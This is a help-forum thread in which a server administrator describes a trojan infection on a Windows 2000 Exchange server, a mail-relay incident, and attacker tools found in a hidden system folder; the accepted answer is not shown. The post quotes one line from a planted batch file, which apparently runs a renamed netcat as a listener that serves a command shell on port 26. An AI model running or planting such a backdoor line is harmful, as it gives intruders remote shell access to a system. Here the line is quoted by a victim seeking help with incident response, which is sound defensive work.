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6.2

Trojan with a .bat file

Asked by jonathanv_00 in Miscellaneous Security

Tags: trojan

I suspect this is a very bad thing.

On Feb 1, Norton AV CE caught a Trojan on our Exchange 2000 server (Win2K, SP3, at the time) - file name was protect.bat, virus name was BAT.Trojan. File was quarantined, and I deleted it the next day, thinking everything was cool.

A week later, we had an incident with our server being used as a relay - apparently through the SMTP Authentication hack, since the relaying stopped immediately after I unchecked that box (I have a number of offsite users who use POP3 to access their mail. We're re-evaluating that now).

Investigating things a bit more this week, I discover an odd file, in an odd location: ncb.bat, in C:\WINNT\system32\os2\dll\w32x86. There were other files, many .exe, there as well - kill.exe, info.exe, peek.exe, and TLIST.exe.  The batch file itself had this line in it:

c:\command.exe -L -p 26 -d -e c:\winnt\system32\cmd.exe

Lemme know if that's something I shouldn't post publicly (?) - I'm just trying to get a handle on this and haven't been able to find anything on it. Wasted most of my day on it already.

How serious is this? Did this trojan install a key sniffer or something, perhaps? Is re-formatting and reinstalling my best (if most painful) option?  

Will be running the IISLockdown tool tonight. The Exchange server runs OWA, and is behind a Cisco PIX 501 firewall. Unfortunately, I don't know a lot about administering the firewall. Have seen Sunray's posts on how to find sniffers and keyloggers, too. Just looking for little help on this.

Many thanks in advance.

[+][-]02/20/04 06:59 PM, ID: 10417764Accepted Solution

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About this solution

Zone: Miscellaneous Security
Tags: trojan
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Solution Provided By: ferg-o
Participating Experts: 4
Solution Grade: A
 
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